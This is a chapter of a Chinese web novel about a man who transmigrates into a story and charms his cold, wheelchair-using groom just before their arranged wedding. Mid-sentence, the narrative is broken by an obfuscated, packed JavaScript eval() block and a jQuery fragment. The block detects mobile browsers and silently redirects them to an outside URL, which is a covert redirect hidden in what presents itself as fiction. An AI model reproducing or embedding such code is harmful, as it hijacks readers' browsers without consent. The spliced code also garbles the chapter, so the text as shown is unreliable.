4. 第 4 章

作品:《小太阳穿书爆改没嘴文学

    一双眼睛委屈巴巴地抬眼望来,露出大片眼白,眼眶湿润,眸光闪烁,又因眼尾的下垂弧度,看上去更无辜。


    偏偏还扁着嘴,下耷撅成一个倒三角。


    下巴就搁在扶手上,见人不说话,还特意挪近些许,试图彰显存在感,吸引注意。


    这副表情,活像一只耷拉下耳朵,跟主人无声撒娇的小狗,既无辜又可爱。


    湿漉漉的视线就这么投来,冒着光,大概没有谁是能招架得住的。


    对视上那双堪称撒娇的表情,厉言川喉结滚动,张了张嘴唇,想说些什么。


    但最终又将那些呵斥的话给咽了回去。


    宋年没有欲盖弥彰地为逃婚找借口,而是直接承认了确有此事,随即又借着道歉的名义表忠心,说自己不会再这样了。


    如此做法,比起矢口否认逃婚一事效果要更好。


    想到这,厉言川神色暗了暗。


    不得不说,这个宋年手段了得,很擅长以退为进,寻机让人放下防备,获取信任。


    “你相信我,好不好?我知道错了,现在哪都不会去,就留在你身边。”


    见人半天不说话,宋年以为他不相信,连忙竖起四根手指发誓,信誓旦旦地承诺。


    ——拜托,谁会拒绝和理想型结婚欸,你赶我走我都不走。


    要是早知道反派长这样,自己才不会策划逃婚呢。


    现在浪子回头还为时不晚,当务之急是跟人结婚。


    至于之后的那些事情和原定结局……船到桥头自然直,总会有办法的嘛。


    在门边目睹了屋内发生的一切,门口的祁泽也沉默了。


    “那个,我就不打扰你们了哈,还有半小时婚礼就开始了,我去看看有没有要帮忙的。”


    默默替两人关上了门,他知趣退下。


    一边下楼,他一边在心里吐槽:


    不是说这宋年和厉文光藕断丝连吗,这看起来也不像啊。


    难道外面的传言都是假的?


    那个放光的眼神,撒娇的语气……


    甚至都发起誓来了。


    难道他是真心喜欢言川?


    如果是这样的话,或许是件好事,毕竟言川总是一副拒人千里之外的冷淡模样,要是有人愿意走进他的心,真是再好不过了。


    越想越为好友感到开心,祁泽双手背在身后,满意地哼着歌离开了。


    ————


    而另一边,宋年依然两眼冒光地盯着厉言川,期待着人的答复。


    被这样炽热目光注视着的厉言川:……


    他什么话也没说,默默转动轮椅,与人拉开距离向后离开。


    嗯?怎么这就走了?


    一点反应都没有,是信了还是不信?


    不过按厉言川多疑阴鸷的性格来说,没把自己赶出去,或许也算相信了吧?


    哪怕一点点也行。


    想到这,宋年的脸上瞬间绽放出一个笑容来。


    接下来一定要和人搞好关系才行,万一凭借自己的努力,依然能在联姻了的前提下改变命运呢?


    于是宋年嘿嘿笑着,站起身来问道:


    “我可以在这里坐一会吗?等会婚礼开始再一起下去。”


    闻言,厉言川偏头扫了人一眼,然后收回视线,丢下一句听不出语气的话:


    “随便你。”


    听见这句话,宋年便默认其答应了,乐颠颠地搬来一张椅子坐下。


    虽然独处一室,但两人之间谁都没有再开口说话,房间内陷入了一阵沉默。


    独自坐在桌边,厉言川没再去看宋年,仿佛身边不存在他人似的。


    他想闭眼小憩片刻,但即使闭上了眼睛,依然能感受到某道视线。


    投来的那束目光牢牢落在自己身上,一眨不眨地盯着看。


    炽热又滚烫,仿佛有形一般,令人难以忽视。


    毫无疑问,这目光来自宋年。


    他正一眨不眨地注视着自己。


    自从双腿落下残疾后,厉言川就对各种各样的视线极度敏感,这样直勾勾打量的目光太过明目张胆,叫他感到烦躁。


    “宋年,你看什么——”


    他不悦地蹙眉,下意识将轮椅向侧面转了转,想隐藏无力的双腿,但厉声斥责的话还没说完,就迎上了宋年的视线。


    ——水灵灵的,亮晶晶的,仿佛碎钻一样布灵布灵闪烁着的视线。


    其中不带任何恶意,只有明晃晃的光亮。


    这束目光简直比屋外的阳光还要耀眼、闪亮,让人无论如何都无法忽略其存在。


    “欸,怎么啦老公?”


    闻言,状况外的宋年歪了歪头。


    “……不要一直盯着我看。”


    “噢,好吧。”


    还以为什么事呢,被下了禁止令的宋年撅嘴,只好把视线撇开,改为偷偷用余光打量人。


    不得不说,厉言川长得是真好看。


    上辈子自己甚至都不敢暴露真实取向,如今重活一遭,竟然有机会能与理想型结婚。


    这和天降大财有什么区别。


    越想越觉得满意,越看厉言川也越觉得满足,宋年忍不住又扯起嗓子软声喊道:


    “老公——”


    “我们也还没有举办婚礼,不要这么叫我。”


    听见这个称呼,厉言川只觉额间太阳穴突突直跳,捏了捏眉心。


    那意思是,婚礼过后就可以喊了对吧?


    即使被驳回,宋年也丝毫不觉得尴尬,反而脑回路一拐,想到另一面去了,自顾自地点了点头,觉得也能接受。


    竟然这么轻易就放弃了?还是说又在谋划其他套近乎的办法?


    见身边叽叽喳喳的人突然安静下来,厉言川皱眉,警惕起来。


    但好在婚礼开始的时间很快就到了,侍应礼貌地敲了敲门,提醒两人可以下楼入场了。


    “好,我们这就来。”


    闻言,宋年蹭地一下从椅子上弹起来,像是早已迫不及待了一般。


    “老……我们走吧。”


    一句老公差点又脱口而出,他连忙住口,哒哒哒地就往人跟前凑,乖巧得像一只小狗勾。


    “嗯。”


    相比他的激动,厉言川则是十分平静,只是淡淡地应了一声。


    平静得仿佛参加的是其他无关紧要之人的婚礼,而不是他本人的。


    就在两人准备转身出门时,宋年捋了捋自己的衣摆,余光一瞥,发现厉言川的衣领也有些皱。


    大概是刚刚自己扑到他身上时弄的。


    于是宋年没多想,再次弯下腰,伸出手想替人整理领子。


    陡然被触碰,厉言川的身体一僵,本想下意识拍开,但在察觉到人的意图却后愣了愣,最终还是选择不动声色。


    他倒要看看,这个宋年究竟想做什么。


    只见白皙修长的手指,轻轻抚平着西装外套上的褶皱,又去解开领带,灵活熟练地重新帮人打了个漂亮的温莎结。


    在打领带的过程中,翻动的手指偶尔会触碰到厉言川的下巴。


    温热的手掌贴上人冰凉的脸部,宋年不由得暗暗吃惊。


    没想到厉言川肤色苍白就算了,体温还这么低,就像冷血动物般。


    冰冷得令人险些想捧住他的脸颊,用手的体温去温暖其每一寸肌肤。


    不过这种事也就只能是想想了,宋


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224331|197553||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    年知道,要是自己做出这种事来,大概真的会被厉言川赶出去。


    对面人朝自己伸出了手,不仅没有任何恶意,反而还仔细地替自己整理起了衣领。


    特别是当柔软的手背时不时擦过皮肤时,温热的陌生触感传来,厉言川敛眸,眼中情愫晦暗不明。


    直到最后,他都没有推开人。


    “好啦,我们走吧。”


    又替人拍了拍肩膀,宋年冲人咧嘴一笑。


    眼睫弯弯,湿润的眼眸中盈满笑意,坦然又热烈。


    面对这样诚挚的笑容,厉言川晃了神,险些就要卸下防备,相信他是真心。


    但好在多年形成的戒备心固若金汤,让他瞬间反应过来,立刻冷下了一张脸。


    一言不发,径直推着轮椅向房间外走去。


    见状,宋年快步追上前,与人一块乘坐电梯下楼。


    在前往婚礼现场的路上,宋年故意走在比厉言川慢一步的位置。


    倒不是不愿与人并肩前行,他只是单纯想在人轮椅前行不顺畅时,偷偷出手帮一把。


    自尊心极强的厉言川,即使如今不得不依靠轮椅出行,也拒绝任何人的帮助。


    就连电动轮椅都不愿使用,仿佛这样不依靠任何外力,就能证明自己还足够强大,不需要依靠他人一般。


    所以宋年特意落后一步,这样当遇到上坡等路段时,他就能伸出手,无声无息地给予人助力,然后再一声不吭地收回手。


    假装自己什么都没做过一样。


    而厉言川同样察觉到了他的暗中帮助,但既然本人都没有开口,自己自然也不会戳破。


    假装什么都没发生过一样。


    穿过一楼的大厅,外面的大草坪便是今日婚礼现场。


    在即将踏上红毯的前一秒,宋年上前一步,改为与厉言川并肩而立。


    “我们要牵手吗?”


    说完,他才反应过来自己问了一个多蠢的问题,连忙道歉,不好意思地挠了挠脸颊。


    “走吧。”


    厉言川淡淡地瞥了他一眼,没再说话,推动轮椅踏上红毯。


    于是宋年也跟随着他的脚步,与其步调一致,并排走出了庄园大楼。


    天气阳光明媚,耀眼的阳光带着晖色洒落在大地上,翠绿的草地多了一层亮色,更显生机盎然。


    白色拱门立于红毯之上,浪漫的白玫瑰点缀其上,彩带与气球翻涌,搭配上喷水池和罗马柱,整个舞台都洋溢着西式浪漫。


    很显然,婚礼现场的布置显然也是花了大价钱。


    只不过可能并不是为了祝福新人,单纯是为了两家的颜面而已。


    当两人齐齐出现时,众人的视线在瞬间全部汇集于他们身上。


    有看戏的,有嘲讽的,也有担忧的。


    但毫无疑问,没有真心祝福的。


    所有人都知道这场婚姻的本质,既无真情也无实意,又谈何祝福?


    叽叽喳喳的鸟儿从头顶飞过,就连在此时响起的空灵动听歌声,都平添几分讽刺。


    对于四周的异样,宋年视而不见,嘴角依然噙着笑意,眼睛都亮晶晶的,满心期待接下来的仪式。


    他偏头,正好与同样侧目看来的厉言川对上视线。


    见状,宋年对人勾了勾嘴唇,抛出一个Wink。


    像是被这幅笑容烫到,厉言川抿唇,错开了脸。


    “接下来,有请两位新人入场——”


    随着司仪的宣布,婚礼正式拉开帷幕,舞台正中央静静等候着主角们的到来。


    踏着婚礼进行曲的伴奏,沐浴着绚烂阳光,两人肩并肩,沿着红毯向前走去。


    婚礼,开始了。